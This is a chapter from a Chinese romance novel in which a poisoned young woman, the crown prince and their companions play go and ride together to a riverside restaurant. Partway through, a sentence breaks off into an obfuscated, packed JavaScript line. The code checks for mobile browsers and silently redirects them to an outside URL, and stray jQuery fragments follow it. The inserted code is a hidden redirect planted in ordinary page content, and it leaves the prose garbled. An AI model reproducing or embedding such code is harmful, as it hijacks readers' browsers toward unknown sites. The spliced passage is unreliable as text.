忍忍,也没事的。
反正,到得天光大亮,一切便会恢复如常了。
不得不说,这毒倒是通晓几分人性,不会影响日间的行动。
只是,夜里发作,便是夜夜不得好眠。
听了她的话,林苑兮却是摇首,真气依然绵延不绝地通过掌心,流入她的心脉。
只要能为她减轻哪怕一点点的不适和痛楚,便已足够。
但他并未说出来。
山月不知心底事。
月,只需要静静地做她的月亮便好。
“若是困了,就睡吧。”林苑兮放下手中的书简,又拿了一卷。
白宣箬正想拒绝,但转念一想,她身中寒月引之事,暂时不宜外扬,可白日里还要应付诸多人和诸多事,还是养好精神为宜。
便点了点头,靠在他怀中,渐渐睡熟了。
林苑兮拥着她,一只手源源不断地为她输送着真气,就此枯坐一夜。
天色渐明。
林苑兮试着停了真气,见她并未表现出任何不适,将她抱起,走到床边轻轻放下,又替她将鞋子脱了,盖好被子。
做好这一切后,他走出房门。
晨光熹微,偶有鸡鸣。
这一夜,如斯漫长。
却又如此短暂。
巳时,冰巧来唤了白宣箬起床梳洗,为她梳妆。
这几日琉砚偶尔会过来,为防他看出端倪,白宣箬只得打起精神来。
果不其然,辰时刚过,琉砚便穿着一身朝服来了,俊颜有些凝重。
“太子殿下。”冰巧向他行了一礼。
这倒令白宣箬想起昨夜,林苑兮说,冰巧是梦随山庄的人。
所以,两个梦随山庄的人,一个是太子派来的暗卫,一个又是太子身边的侍女?
梦随山庄,难道与琉砚有什么密不可分的关系?
琉砚朝着冰巧微颔首,便大步流星地走到白宣箬面前,步履间有些仓促,步态却仍然保持着往常的贵气优雅。
“听闻昨夜东馆有打斗声,箬儿没事吧?”琉砚一双凤眼中似有担忧之意。
白宣箬摇首,轻声答道:“不过是些小贼,已经击退了,我没事。”
琉砚稍稍放宽了心,视线却不经意扫到她的唇上。
她的唇上涂了口脂,但仔细看来,还是能发现带了些轻浅的齿痕。
他不禁微微蹙眉,却并未再说什么。
一时寂静。
“箬儿可会弈棋?”琉砚出声打破了沉默。
白宣箬点头道:“略知一二。”
冰巧从善如流道:“奴婢去取棋来,殿下与姑娘不如就在庭院里对弈?”
见二人皆没有反对,冰巧便去了房内找了棋子和棋盘,端来放在石桌上。
琉砚与白宣箬在石凳上坐下。
“箬儿先手吧。”
白宣箬摇首:“殿下执黑。”
琉砚倒也不推脱,以两指夹了一粒黑子,落在棋盘上。
天元。
白宣箬抬眸,有些讶异地看向他,却对上他含笑的眼睛。
围棋讲究一个“金角银边草肚皮”,大多数人开局都以占角为优,琉砚却将第一子落在了最不值钱的天元上。
这是想让她一子?
白宣箬执起一枚白子,落在小目上。
她并不十分擅长弈棋,只能采取最保守稳妥的下法。
琉砚从第二子开始便不再想让,开始你来我往。
冰巧拎了一只茶壶和两只茶杯来,时不时为二人添茶。
暖日和煦,风拂花落。紫色的苦楝花落了些在棋盘上,添了几分别致。
一时之间,只闻棋落之声。
倒是颇有岁月静好的感觉。
约莫过了半个时辰,白宣箬执起一枚白子,半晌,扔下那枚棋,又从棋盒中拿起两枚棋子,放于棋盘右下角。
这是认输了。
琉砚微微一笑,问道:“再来一局?”
白宣箬摇首:“罢了,殿下棋艺远在我之上。”
再下一局也是一样,她下起来没甚意思,于琉砚而言,大约也是不尽兴的。
琉砚也不强求,摇头笑了笑,端起茶杯浅饮一口。
冰巧上前将棋盘收拾了,问道:“殿下可要在此间用膳?”
琉砚沉吟片刻,提议道:“不如今日去临江阁吃罢。”
白宣箬颔首应了。
一行几人出了东馆,倒是在驿馆门口遇见了几位熟人。
“箬姐姐!”风吹月见着他们,眼睛一亮,收回已经踏上马车的一只脚,往这边跑来。
“吹月。”白宣箬淡笑着回道。
风吹月看看她,又瞅瞅她身边的琉砚:“你们这是要去哪儿呀?”
“正要去临江阁用午膳。”
“好巧,我也要去呢。”风吹月说完,顿了顿,眼含期待地望着她。
白宣箬微愣,转瞬便明白了她的意思,主动提议:“不如一道?”
风吹月脸上扬起一个灿烂的笑,却并未立即点头应下,而是偷偷瞄了眼琉砚。
见状,白宣箬不禁抿唇轻笑,转向琉砚道:“殿下以为如何?”
日光下,佳人浅笑盈盈,眸眼温柔。
琉砚怔了一瞬,才轻声应道:“好。”
风吹月这才放下心来,噔噔噔地跑回了马车,隔着布帘子同车上的人说:“离溯,我同箬姐姐他们一起,你自个玩儿去吧。”
车上传来一阵轻笑,下一瞬,布帘被掀开,离溯一头银发似雪,以发冠束起,蓝眸清灵,遥遥望向琉砚,以不轻不重的声音说道:“太子殿下,不知在下是否也可有幸同行呢?”
琉砚回望一眼,语气疏朗从容:“却之不恭。”
于是琉砚的马车载了四人一同前往临江阁。
阿著在车外随行,心下只觉得神奇,太子殿下的车驾何时这么热闹过?
怕是这些拉车的骏马都要不习惯了。
看着那些他亲手喂大的赤骝跑得艰难,他不禁有些心疼。
马车上的人儿却不知道小侍卫的想法,只是相对而坐。
风吹月坐在白宣箬身旁,琉砚和离溯坐于她们对侧。
上了马车后,琉砚就已将几人的身份一一介绍过了。
白宣箬虽讶于风吹月的身份,但这也并无碍于她们二人之间的关系,风吹月终归还是风吹月罢了。
倒是面前这位皓发朱颜的风芷国师,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17746336|206368||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
令人不禁为之侧目。
素来听闻风芷国师精于天象推演之法,能未卜先知,传得玄之又玄。在阳若时,琉溪便时常猜测这位国师大人一定是位仙风道骨、德高望重之人。
可谁能想到,竟是个少年白头的年轻人。
“白姑娘若是再多看几眼,怕是下一刻,在下便要被太子殿下驱出这马车了。”离溯似笑非笑地说着。
听了离溯这话,白宣箬不禁有些赧然,她其实也不过才瞧了两眼,已经算是十分克制,不成想还是被发现了。
“离溯,为何太子殿下要把你驱出马车呀?”风吹月似是不解。
离溯看了她一眼,见她一派天真懵懂的模样,心下暗叹,摇首无奈道:“公主啊公主,那么多的话本子,难道是白看的?”
“嗯?”风吹月微微歪着脑袋,开始动用她那遍览群“书”的小脑瓜。
箬姐姐是琉砚的未婚妻,她多看了几眼离溯,琉砚就要把离溯赶下车。难不成是琉砚不喜欢箬姐姐看别的男子?
在话本里,这种不喜欢,也可称为是“醋坛子翻了”。
但只是看了两眼罢了,总不至于这就翻了吧。
堂堂一国太子,风姿卓绝的琉砚殿下,竟然这么小气的么?
风吹月思考时,依旧是学着先生的样子,用手抚着光无一物的下巴,神情却十分精彩,一会儿恍然大悟地点点头,一会儿又目露迷思地摇摇头。
这副模样倒是引得车内几人都会心一笑。
白宣箬笑着,视线一转,却正好对上琉砚含笑的眼眸。
出驿馆之前,琉砚已将一身朝服换了,此时着一身紫色便服,衣上以金线绣着祥云纹样,这样的颜色穿在他身上却不显浮躁,反是雍雅十足,衬得容色愈发俊美。
此时他凤眸带笑,却无平日里的威严,而是带了些暖意。
她微微一怔,别过眼去。
欢笑之间,很快便到了临江阁。
几人下了马车,踏入楼内。
大堂内已满客,喧嚣热闹。但随着几人的到来,喧闹之声骤减,渐渐安静下来。
周围不时有好奇的目光投来。
离溯微微皱眉,蓝眸微冷,似乎不太适应这么多带着好奇的打量。
风吹月忙叫来伙计,定了个雅间,一行人便带着诸多目光走上二楼,直到过了转角,那些目光才消失不见。
“唉,下次就该穿身带着兜帽的衣服。”风吹月一进雅间,便坐了下来,给自己倒了杯茶。
其余几人也坐下,来不及亲自动手,伙计就已很有眼色地为每个人都添了一杯茶,并道:“几位客官看看要吃些什么?”
“听闻临江阁素有一酒一茶,这应当是必点的吧。”离溯说道。
伙计露出一个热情的笑:“可不是嘛,‘浮花酿月’和‘落英煎雪’,每个初来小店的客人,都是必点这两样的,那小的给您记上?”
离溯颔首,随后看向其余几人:“余下的你们看着点罢。”
“箬儿和公主先点吧。”琉砚将单子推给了两位姑娘。
白宣箬和风吹月也未推辞,拿过单子看了起来。
两人略扫了一眼,不约而同地对视上,皆从彼此眼中看到了一丝惊色。